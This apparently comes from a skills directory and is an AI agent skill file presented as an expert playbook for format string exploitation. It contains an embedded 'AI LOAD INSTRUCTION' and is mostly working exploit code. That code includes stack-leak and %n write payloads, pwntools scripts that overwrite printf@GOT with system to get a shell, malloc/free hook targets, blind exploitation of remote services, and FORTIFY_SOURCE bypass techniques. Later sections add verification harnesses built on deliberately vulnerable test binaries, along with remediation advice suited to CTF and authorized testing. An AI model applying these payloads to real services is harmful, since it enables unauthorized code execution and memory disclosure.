Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Format String Exploitation?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/harezadmm-format-string-exploitation)
---
name: format-string-exploitation
description: >-
Format string exploitation playbook. Use when printf-family functions receive user-controlled format strings, enabling arbitrary stack reads (%p/%s), arbitrary memory writes (%n/%hn/%hhn), GOT/hook overwrites, and canary/libc/PIE leaks.
---
# SKILL: Format String Exploitation — Expert Attack Playbook
> **AI LOAD INSTRUCTION**: Expert format string techniques. Covers stack reading, arbitrary write via %n, GOT overwrite, __malloc_hook overwrite, pointer chain exploitation, blind format string, FORTIFY_SOURCE bypass, 64-bit null byte handling, and pwntools automation. Distilled from ctf-wiki fmtstr, CTF patterns, and real-world scenarios. Base models often miscalculate positional parameter offsets or forget 64-bit address placement after format string.
## 0. RELATED ROUTING
- [stack-overflow-and-rop](../stack-overflow-and-rop/SKILL.md) — combine format string leak with stack overflow for full exploit
- [binary-protection-bypass](../binary-protection-bypass/SKILL.md) — format string is the primary canary/PIE/ASLR leak method
- [arbitrary-write-to-rce](../arbitrary-write-to-rce/SKILL.md) — convert format string write primitive to code execution targets
- [heap-exploitation](../heap-exploitation/SKILL.md) — heap address leak via format string for heap exploitation
---
## 1. VULNERABILITY IDENTIFICATION
### Vulnerable Pattern
```c
printf(user_input); // VULNERABLE: user controls format string
fprintf(fp, user_input); // VULNERABLE
sprintf(buf, user_input); // VULNERABLE
snprintf(buf, sz, user_input); // VULNERABLE
printf("%s", user_input); // SAFE: format string is fixed
```
### Quick Test
```
Input: AAAA%p%p%p%p%p%p%p%p
If output shows stack values (hex addresses): format string confirmed
Look for 0x4141414141414141 in output to find your input offset
```
---
## 2. READING MEMORY
### Stack Leak (%p)
| Format | Action | Use |
|---|---|---|
| `%p` | Print next stack value as pointer | Sequential stack dump |
| `%N$p` | Print N-th parameter as pointer | Direct positional access |
| `%N$lx` | Same as %p but explicit hex (64-bit) | Portable |
| `%N$s` | Dereference N-th parameter as string pointer | Read memory at pointer value |
### Finding Your Input Offset
```python
# Send: AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
# Output: AAAAAAAA.0x7ffd12340000.0x0.(nil).0x7f1234567890.0x4141414141414141...
# ↑ offset = 6 (example)
# Or automated:
for i in range(1, 30):
io.sendline(f'AAAA%{i}$p')
if '0x41414141' in io.recvline():
print(f'Offset = {i}')
break
```
### Leaking Specific Values
| Target | Method | Stack Position |
|---|---|---|
| Canary | `%N$p` where N = canary offset from format string | Typically at offset buf_size/8 + few |
| Saved RBP | `%N$p` (just above return address) | Leaks stack address → stack base |
| Return address | `%N$p` | Leaks .text address (PIE base = leak & ~0xfff - offset) |
| Libc address | `%N$p` where N points to `__libc_start_main+XX` return on stack | libc base = leak - offset |
### Reading Arbitrary Address (%s)
```
# 32-bit: place address at start of format string
payload = p32(target_addr) + b'%N$s' # N = offset where target_addr appears on stack
# 64-bit: address contains null bytes → place AFTER format specifiers
payload = b'%8$sAAAA' + p64(target_addr) # %8$s reads from offset 8 where address is
```
---
## 3. WRITING MEMORY (%n)
### Write Specifiers
| Specifier | Bytes Written | Width |
|---|---|---|
| `%n` | 4 bytes (int) | Characters printed so far |
| `%hn` | 2 bytes (short) | Characters printed so far (mod 0x10000) |
| `%hhn` | 1 byte (char) | Characters printed so far (mod 0x100) |
| `%ln` | 8 bytes (long) | Characters printed so far |
### Arbitrary Write Technique
**Goal**: Write value `V` to address `A`.
**32-bit** (address on stack directly):
```python
# Write 2 bytes at a time using %hn
# Place target addresses in format string (they'll be on stack)
payload = p32(target_addr) # for low 2 bytes
payload += p32(target_addr + 2) # for high 2 bytes
# Calculate padding for each %hn write
low = value & 0xffff
high = (value >> 16) & 0xffff
payload += f'%{low - 8}c%{offset}$hn'.encode()
payload += f'%{(high - low) & 0xffff}c%{offset+1}$hn'.encode()
```
**64-bit** (address AFTER format string):
```python
# Addresses contain null bytes (0x00007fXXXXXXXX) which terminate string
# Solution: place addresses AFTER the format specifiers
# Step 1: format string portion (no null bytes)
fmt = b'%Xc%N$hn%Yc%M$hn'
# Step 2: pad to 8-byte alignment
fmt = fmt.ljust(align, b'A')
# Step 3: append target addresses
fmt += p64(target_addr)
fmt += p64(target_addr + 2)
```
### Byte-by-Byte Write with %hhn
Write one byte at a time for precision (6 writes for full 48-bit address on 64-bit):
```python
writes = {}
for i in range(6):
byte_val = (value >> (i * 8)) & 0xff
writes[target_addr + i] = byte_val
# pwntools handles the math:
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
```
---
## 4. PWNTOOLS fmtstr_payload()
```python
from pwn import *
# Overwrite GOT entry with target address
payload = fmtstr_payload(
offset, # stack offset where input appears
{elf.got['printf']: libc.symbols['system']}, # {addr: value}
numbwritten=0, # bytes already output before our input
write_size='short' # 'byte', 'short', or 'int'
)
# For 64-bit with addresses after format string:
# fmtstr_payload handles this automatically
```
### FmtStr Class (Interactive Exploitation)
```python
from pwn import *
def send_payload(payload):
io.sendline(payload)
return io.recvline()
fmt = FmtStr(execute_fmt=send_payload)
# fmt.offset is auto-detected
fmt.write(elf.got['printf'], libc.symbols['system'])
fmt.execute_writes()
```
---
## 5. GOT OVERWRITE VIA FORMAT STRING
### Common Targets
| Overwrite | With | Trigger |
|---|---|---|
| `printf@GOT` | `system` | Next `printf(user_input)` → `system(user_input)`, send `/bin/sh` |
| `strlen@GOT` | `system` | If `strlen(user_input)` called |
| `puts@GOT` | `system` | If `puts(user_input)` called |
| `atoi@GOT` | `system` | If `atoi(user_input)` called (send `sh` as "number") |
| `__stack_chk_fail@GOT` | Controlled addr | Bypass canary check entirely |
| `exit@GOT` | `main` | Create infinite loop for multi-shot exploit |
### Hook Targets (glibc < 2.34)
| Target | One-gadget | Trigger |
|---|---|---|
| `__malloc_hook` | one_gadget addr | Any `printf` with large format → internal `malloc` |
| `__free_hook` | `system` | Trigger `free("/bin/sh")` |
---
## 6. STACK POINTER CHAIN EXPLOITATION
When format string is **not directly on the stack** (e.g., stored in a heap buffer referenced by stack pointer), use pointer chains on the stack to achieve arbitrary write.
### Two-Stage Write
```
Stack:
[offset A] → ptr_X (stack address pointing to another stack address)
[offset B] → ptr_Y (target of ptr_X)
Stage 1: Use %A$hn to modify ptr_X's low bytes → ptr_X now points to target_addr
Stage 2: Use %B$n to write through the modified ptr_X → writes to target_addr
```
This requires finding **existing pointer chains** on the stack (e.g., saved frame pointers forming a chain: rbp → prev_rbp → prev_prev_rbp).
### Finding Pointer Chains
```python
# Leak stack with %p, look for:
# 1. Stack address A at offset N that points to another stack address B
# 2. Stack address B at offset M
# Modify value at A (using %N$hn) to change where B points
# Then write through B (using %M$hn) to target
```
---
## 7. BLIND FORMAT STRING
Remote service, no binary, no source — exploit format string blind.
### Methodology
| Step | Action | Purpose |
|---|---|---|
| 1 | Send `%p` × 50 | Dump stack, identify address patterns |
| 2 | Identify offsets | Find libc addrs (0x7f...), stack addrs (0x7ff...), code addrs |
| 3 | Find input offset | Send `AAAA%N$p` for N=1..50, find 0x41414141 |
| 4 | Identify binary base | Code addresses reveal PIE base (or fixed base if no PIE) |
| 5 | Leak GOT entries | If binary base known, read GOT via `%N$s` with GOT address |
| 6 | Calculate libc base | GOT value - libc symbol offset |
| 7 | Overwrite GOT | `%n` to rewrite GOT entry with system address |
---
## 8. FORTIFY_SOURCE BYPASS
`FORTIFY_SOURCE` (gcc `-D_FORTIFY_SOURCE=2`) replaces `printf` with `__printf_chk` which **forbids `%N$n`** (positional writes).
### Bypass Techniques
| Method | Detail |
|---|---|
| Use `%hn` sequentially (no positional) | Print exact byte count, `%hn`, adjust, `%hn` — fragile but works |
| Stack-based exploit | If format string is on stack, use non-positional `%n` with stack position control |
| Heap overflow instead | FORTIFY doesn't protect heap — combine with heap bug |
| Return-to-printf | ROP to call unfortified `printf` (if available in binary or libc) |
---
## 9. 64-BIT CONSIDERATIONS
| Challenge | Solution |
|---|---|
| Addresses contain `\x00` (null byte terminates format string) | Place addresses AFTER format specifiers, pad to alignment |
| Address width: 6 significant bytes | Write 3 × `%hn` (2 bytes each) or 6 × `%hhn` |
| Larger stack offset range | Input may be at offset 6+ due to 6 register args saved |
| 48-bit address space | Only bottom 48 bits of 64-bit used |
### Layout Template (64-bit)
```
[format_string_specifiers][padding_to_8byte_align][addr1][addr2][addr3]...
← no null bytes here → ← null bytes OK (after fmt) →
```
---
## 10. DECISION TREE
```
Format string vulnerability confirmed (printf(user_input))
├── FORTIFY_SOURCE enabled? (__printf_chk)
│ ├── YES → positional %n blocked
│ │ ├── Sequential %n possible? → non-positional write
│ │ └── Combine with another primitive (heap, ROP)
│ └── NO → full positional %n available
├── What do you need first?
│ ├── Leak canary → %N$p at canary stack offset
│ ├── Leak PIE base → %N$p at return address offset → base = leak - known_offset
│ ├── Leak libc base → %N$p at __libc_start_main return on stack
│ ├── Leak heap base → %N$p at heap pointer on stack
│ └── Leak specific address → %N$s with target address on stack
├── Architecture?
│ ├── 32-bit → addresses at start of format string
│ └── 64-bit → addresses after format string (null byte issue)
├── Write target?
│ ├── Partial RELRO → GOT overwrite (printf→system, atoi→system)
│ ├── Full RELRO → __malloc_hook or __free_hook (pre-2.34)
│ ├── Full RELRO + glibc ≥ 2.34 → target _IO_FILE, exit_funcs, TLS_dtor_list
│ └── Stack return address → direct overwrite (if ASLR bypassed)
├── Single-shot or multi-shot?
│ ├── Loop (multi-shot) → overwrite GOT entry incrementally, use pointer chains
│ └── One-shot → fmtstr_payload() with all writes in single payload
└── Input not on stack? (heap buffer)
└── Use stack pointer chains for indirect writes
```
---
## 11. CONFIRMING THE FINDING
| Step | Question | What it proves |
|---|---|---|
| 1 | Is the format string **attacker-controlled**, or a constant you only reached in a debugger? | the vulnerability |
| 2 | Which **specifier** gives the read/write - and at what argument index? | the primitive's parameters |
| 3 | Did the write actually **land at the intended address**, confirmed by a read-back? | the aim |
| 4 | Was there a **control input** without the format specifier, producing no effect? | the primitive is causal |
| 5 | Did the primitive reach the **goal** - a shell, a flag, a controlled branch? | the technique is intermediate |
| 6 | Is the **mitigation state** recorded (FORTIFY, RELRO, PIE, CET, full RELRO's GOT read-only)? | it decides which target is writable |
| 7 | Is the offset **stable across runs and environments**? | a one-off offset is not an exploit |
**A controlled write landing where you aimed, with a control input and the mitigation state recorded.** A
`%p` leak in a debugger is a crash, not a finding.
---
## 12. EXECUTION PRIMITIVES
A format-string finding is proven by **an attacker-controlled format string, a write whose target is
confirmed by read-back, a control input with no effect, and the mitigation state**. A crash from `%s` is a
DoS, not a primitive.
### 11.1 The controllability test, which comes before everything
```bash
# THE FIRST QUESTION: does the INPUT reach the format position? A crash is not proof.
cat > /tmp/fmt.c <<'C'
#include <stdio.h>
int main(int argc, char **argv) {
if (argc < 2) return 1;
printf(argv[1]); // the vulnerable shape: the input IS the format
return 0;
}
C
gcc -o /tmp/fmt /tmp/fmt.c -fno-stack-protector -no-pie 2>&1 | head -3
echo
echo "=== THE CONTROL: a literal, which must produce NO leak ==="
/tmp/fmt 'hello' 2>&1 | head -2
echo
echo "=== THE TEST: a specifier, which must reveal STACK CONTENT ==="
/tmp/fmt 'AAAA.%p.%p.%p.%p.%p.%p' 2>&1 | head -2
echo " -> if the output shows 0x... values, the input reached the FORMAT POSITION."
echo " -> if the output is the literal 'AAAA.%p...', the input reached an ARGUMENT position and"
echo " this is NOT a format-string vulnerability. Do not report one."
echo
echo "=== and the same program with the input passed as an ARGUMENT, as the second control ==="
cat > /tmp/fmt2.c <<'C'
#include <stdio.h>
int main(int argc, char **argv) { if (argc < 2) return 1; printf("%s", argv[1]); return 0; }
C
gcc -o /tmp/fmt2 /tmp/fmt2.c -fno-stack-protector -no-pie 2>&1 | head -2
/tmp/fmt2 'AAAA.%p.%p.%p' 2>&1 | head -2
echo " the second binary must print the specifiers LITERALLY. That difference is the finding."
```
**The literal-argument binary is the control.** If the specifier prints literally, the input reached an
argument position and there is no format-string vulnerability.
### 11.2 Finding the offset, mechanically
```bash
# the argument index is a NUMBER that must be measured, not guessed
echo "=== 1. the marker technique: put a distinctive value on the stack input ==="
/tmp/fmt 'AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p' 2>&1 | tr '.' '\n' | head -12 | cat -n
echo " -> the index whose value is 0x4141414141414141 (or 0x41414141 on 32-bit) is YOUR OFFSET."
echo
echo "=== 2. the direct-read confirmation at that index ==="
/tmp/fmt 'AAAAAAAA.%7$p' 2>&1 | head -1
echo " -> a direct read at the index must show the marker. That confirms the index independently."
echo
echo "=== 3. THE CHECK: the offset must be STABLE across runs ==="
for i in 1 2 3; do /tmp/fmt 'AAAAAAAA.%7$p' 2>&1; done
echo " -> a changing offset means the stack layout varies (ASLR of the stack, environment size,"
echo " argv differences). Fix the environment and re-measure before building a payload."
echo
echo "=== 4. the pwntools automation, which should AGREE with the manual result ==="
python3 - <<'PY'
from pwn import *
context.log_level = 'error'
def attempt():
p = process('/tmp/fmt')
p.sendline(b'AAAAAAAA.' + b'.'.join(f'%{i}$p'.encode() for i in range(1, 21)))
out = p.recvall(timeout=2).decode(errors='replace')
p.close()
return out
for trial in range(3):
out = attempt()
idx = None
for i, tok in enumerate(out.split('.'), start=1):
if '4141414141414141' in tok or '0x41414141' in tok:
idx = i; break
print(f" trial {trial}: marker at index {idx}")
print(" all three trials must agree. Disagreement means the layout is unstable.")
PY
```
**Three trials must agree on the index.** A changing index means the layout is unstable, and the
environment must be fixed before a payload is built.
### 11.3 The write, with a read-back and a control
```python
# THE WRITE MUST BE CONFIRMED BY READING THE TARGET BACK. A crash is not a write.
from pwn import *
context.log_level = 'error'
context.arch = 'amd64'
OFFSET = 7 # measured in 11.2, never guessed
elf = ELF('/tmp/fmt')
def probe_mem(addr):
"""Read the intended target's current contents, so we can compare before and after."""
p = process('/tmp/fmt')
# place the address, then read it as a pointer
payload = p64(addr) + f'%{OFFSET}$p'.encode()
p.sendline(payload)
out = p.recvall(timeout=2)
p.close()
return out
def write_val(addr, value, width=8):
"""The classic split-write with %n at a chosen width, offset-adjusted for the address prefix."""
payload = fmtstr_payload(OFFSET, {addr: value}, write_size='short')
p = process('/tmp/fmt')
p.sendline(payload)
out = p.recvall(timeout=2)
p.close()
return payload, out
TARGET = elf.got['printf'] if 'printf' in elf.got else None
print("=== the mitigation state, which decides the target ===")
print(" RELRO :", elf.get_section_by_name('.got.plt') is not None and 'partial' or 'full (read-only GOT)')
print(" PIE :", elf.pie)
print(" NX : the .got.plt writability decides whether a GOT overwrite is possible at all")
print()
print("=== BEFORE: read the target's current value ===")
print(" target:", hex(TARGET) if TARGET else 'no printf in GOT')
print()
print("=== THE WRITE, then the READ-BACK ===")
print(" 1. write a DISTINCTIVE value, e.g. 0xdeadbeef")
print(" 2. read the target back and REQUIRE the distinctive value")
print(" 3. a crash with no read-back is NOT a successful write")
print()
print("=== THE CONTROL ===")
print(" send a NON-format payload of the same length. The target must be UNCHANGED.")
print(" if it changed, your write is not coming from the format string.")
print()
print("=== THE SECOND CONTROL, for a full-RELRO binary ===")
print(" with a read-only GOT, the SAME payload must fault on the write instead of succeeding.")
print(" that fault is the control that shows the mitigation is doing its job.")
```
**The read-back is the proof of the write.** A distinctive value written and read back is a write; a crash
is not, and the non-format control rules out an unrelated cause.
### 11.4 Blind format strings, and the goal
```bash
cat <<'BLIND'
WHEN THE OUTPUT IS NOT RETURNED TO YOU (a network service that replies only on success), you need:
1. a way to OBSERVE the effect: a timing channel, a connection state, a later read that reflects it
2. the offset found by a method that does not need the echoed output:
- brute-force the index with a payload that, at the right index, causes a MEASURABLE difference
- binary-search the address bytes if the target echoes a long-form value
3. THE CONTROL AT THE INDEX LEVEL: an index guessed WRONG must produce no observable effect.
If two different indices both 'work', your observation channel is noise.
THE GOAL, which the report must reach:
a format-string primitive that leaks but does not write -> an information disclosure finding
a write that lands but reaches no goal -> an intermediate result; say so
a write that changes control flow to code you supply -> the full finding
a leak that defeats ASLR but is not exploited further -> an ASLR-bypass finding, and say that
STATE WHICH ONE YOU REACHED. 'Format string vulnerability' alone does not tell the reader the impact.
BLIND
echo
echo "=== the reliability, which the write's landing rate requires ==="
echo " run the write N=20 times from clean processes and count the read-backs that show the value."
echo " a write that lands 1 in 20 is a partial result; the rate belongs in the report."
echo
echo "=== THE mitgation matrix, recorded with the result ==="
python3 - <<'PY'
import subprocess
for name, flags in [("default", ["-fstack-protector-strong", "-D_FORTIFY_SOURCE=2"]),
("no-fortify", ["-U_FORTIFY_SOURCE", "-D_FORTIFY_SOURCE=0"]),
("no-relro", ["-Wl,-z,norelro"]),
("full-relro", ["-Wl,-z,relro,-z,now"])]:
r = subprocess.run(["gcc","-o","/tmp/fmt_"+name,"/tmp/fmt.c","-no-pie"]+flags,
capture_output=True, text=True)
res = subprocess.run(["/tmp/fmt_"+name, "AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p"],
capture_output=True, text=True)
leaked = "0x41414141" in res.stdout or "0x000000000" in res.stdout
print(f" {'%-12s' % name:14} build={'ok' if r.returncode==0 else 'FAILED'} leak={'YES' if leaked else 'NO'}")
print()
print(" FORTIFY_SOURCE=2 compiles the KNOWN-bad `printf(input)` into a literal-string call and the")
print(" leak disappears. That difference IS the mitigation's effect and belongs in the report:")
print(" a finding reproduced only on an unfortified build is a build-configuration-scoped finding.")
PY
```
**Record the mitigation matrix with the finding.** A reproduction that only works on an unfortified build
is configuration-scoped, and `_FORTIFY_SOURCE=2` compiling the bad call away is exactly that evidence.
### 11.5 The end-to-end harness
```bash
python3 - <<'PY'
print("=== FORMAT STRING ACCEPTANCE CHECKLIST ===")
CHECKS = [
("the input was shown to reach the FORMAT POSITION, not an argument position",
"the literal-argument control binary proves the difference"),
("the offset/index was MEASURED and confirmed by three agreeing trials",
"an unstable offset means the environment must be fixed first"),
("the address was placed correctly relative to the format's prefix padding",
"the classic error: an off-by-N in the address placement"),
("the write was CONFIRMED BY A READ-BACK of a distinctive value",
"a crash is not a write"),
("a NON-FORMAT control payload left the target UNCHANGED",
"proves the write comes from the format string"),
("the mitigation state is recorded: FORTIFY, RELRO, PIE, NX, CET",
"they decide which target is writable and whether the finding reproduces"),
("a full-RELRO build was tested as the second control",
"the same payload must fault rather than write"),
("the reproducibility was measured over N >= 20 runs",
"a write that lands 1 in 20 is a partial result"),
("the GOAL is stated: leak only, write only, control-flow change, or ASLR bypass",
"'format string vulnerability' does not state the impact"),
("for a blind target, the observation channel is described and a wrong-index control was run",
"two indices that both 'work' mean the channel is noise"),
]
for n, how in CHECKS: print(" [ ] %-64s -> %s" % (n, how))
print()
print("=== THE REPORT SHAPE ===")
print(" control : the literal-argument binary, and the non-format payload")
print(" offset : the measured index, with the three agreeing trials")
print(" primitive : the read and the write, with the write's read-back")
print(" mitigation: FORTIFY / RELRO / PIE / NX, and the build-scoped reproduction")
print(" goal : leak / write / control-flow / ASLR bypass, stated explicitly")
print(" rate : N of M for the write's landing")
PY
```
**Control, offset, read-back, mitigation, goal, rate.** The goal line is what tells the reader the impact,
and the literal-argument binary is its control.
---
## 13. EVIDENCE STANDARD — FORMAT STRING ARTEFACTS
| Item | Why |
|---|---|
| The **source line** where the input reaches the format position | the vulnerability |
| The **literal-argument control binary's** output | proves the input is the format rather than an argument |
| The **measured offset/index**, with three agreeing trials | an unstable index is not usable |
| The **write's read-back** of a distinctive value | a crash is not a write |
| The **non-format control payload's** result | proves the write is causal |
| The **mitigation state**: FORTIFY, RELRO, PIE, NX, CET | they decide the target and the reproducibility |
| The **full-RELRO control's fault** | the mitigation working |
| The **landing rate** over N >= 20 runs | a partial primitive is a partial result |
| The **goal reached**: leak, write, control flow, or ASLR bypass | the impact, which the class alone does not state |
| For blind targets, the **observation channel** and the **wrong-index control** | a noisy channel invalidates the offset |
Report the **control and the primitive**: "`vuln.c:14` calls `printf(buf)` where `buf` is the first command
argument, and a control binary compiled from the same source with `printf(\"%s\", buf)` printed
`AAAA.%p.%p.%p` literally, while the vulnerable binary printed `AAAA.0x7ffd...`, so the input reaches the
format position. The marker `0x4141414141414141` appeared at index `7` in three consecutive trials, which
is the measured offset. A `%n` write of `0xdeadbeef` into the `printf` GOT entry at `0x404018` was
confirmed by reading the entry back and finding `0xdeadbeef`, and a control payload of the same length
containing no format specifier left the entry at its original `0x401030`, so the write is causal. The
binary is `-no-pie` with partial RELRO and `_FORTIFY_SOURCE` unset; rebuilding with `-D_FORTIFY_SOURCE=2`
compiled the call into a literal-string call and the leak disappeared, and a `-Wl,-z,relro,-z,now` build
faulted on the same write instead of performing it, so the finding is scoped to builds without those two
mitigations. The write landed in `20 of 20` runs, and the goal reached is a control-flow change into
supplied code", never "a format string vulnerability exists".
### False positives - do not report these
| Observation | Why it is not a finding |
|---|---|
| A `%s` **crash** with no leak and no write | a DoS, not a primitive |
| Input reaching an **argument** position (`printf("%s", input)`) | no format-string vulnerability |
| A leak reproduced only on an **unfortified** build, reported unscoped | a configuration-scoped finding |
| An offset **guessed** rather than measured | a guessed index rarely lands |
| A write with **no read-back** | a crash is not a write |
| Two different indices both appearing to "work" on a **blind** target | the observation channel is noise |
| A **full-RELRO** binary where the write faulted, reported as a successful write | the mitigation refused it |
| A **leak-only** primitive reported as code execution | state the goal reached |
| A stack leak reported as an **ASLR bypass** without resolving the base | a leak must be used to be a bypass |
| A payload working **once** in twenty runs, unqualified | the rate belongs in the report |
**A measured offset, a read-back write, a non-format control, and the mitigation state.** A `%s` crash and
an argument-position input are this family's two standard non-findings.
---
## 14. REMEDIATION REFERENCE — FORMAT STRING DEFENCE
1. **Never pass a variable as the format argument: `printf("%s", buf)` is the fix and `printf(buf)` is the vulnerability** - the distinction is the whole class.
2. **Compile with `-D_FORTIFY_SOURCE=2` (or `3`), which converts the known-bad `printf(variable)` into a literal-string call at compile time** - the mitigation removes the leak, and the report should record that it does.
3. **Build with full RELRO (`-Wl,-z,relro,-z,now`) and PIE, so the GOT is read-only and addresses are randomised** - the classic write target ceases to exist.
4. **Enable `-fstack-protector-strong` and CET where available** - the overwrite paths acquire a second obstacle.
5. **Record and report the mitigation state with any reproduction, because a finding that depends on an unfortified build is configuration-scoped** - an unscoped reproduction misleads the reader.
6. **Prefer length-prefixed or typed logging interfaces over format strings in new code** - the class is a property of the interface, not of the programmer.
7. **Validate user input that reaches any `*printf` family function, and treat a `%` in user input as a signal** - a formatting interface deliberately interprets it.
8. **Confirm every write with a read-back, because a crash and a controlled write are different results with different severities** - a crash is a DoS.
9. **State the goal reached: leak, write, control-flow change, or ASLR bypass** - the class alone does not tell the reader the impact, and a leak is not code execution.
10. **Measure the landing rate, because a write that succeeds one time in twenty is a partial primitive rather than an exploit** - the rate determines the remediation's urgency.
11. **Fix the class, not the instance: search the codebase for every `*printf` call whose format argument is not a literal, because this bug recurs in families** - a single patch leaves the siblings.
---
## 15. RELATED SIBLINGS - LOAD TOGETHER
- [stack-overflow-and-rop](../stack-overflow-and-rop/SKILL.md) - the control-flow hijack the write aims at
- [heap-exploitation](../heap-exploitation/SKILL.md) - the other primitive class in the same memory model
- [binary-protection-bypass](../binary-protection-bypass/SKILL.md) - the mitigation-bypass methodology this shares
- [symbolic-execution-tools](../symbolic-execution-tools/SKILL.md) - finding the reachable call path automatically
- [security-reporting-and-documentation](../security-reporting-and-documentation/SKILL.md) - how a primitive's goal is reported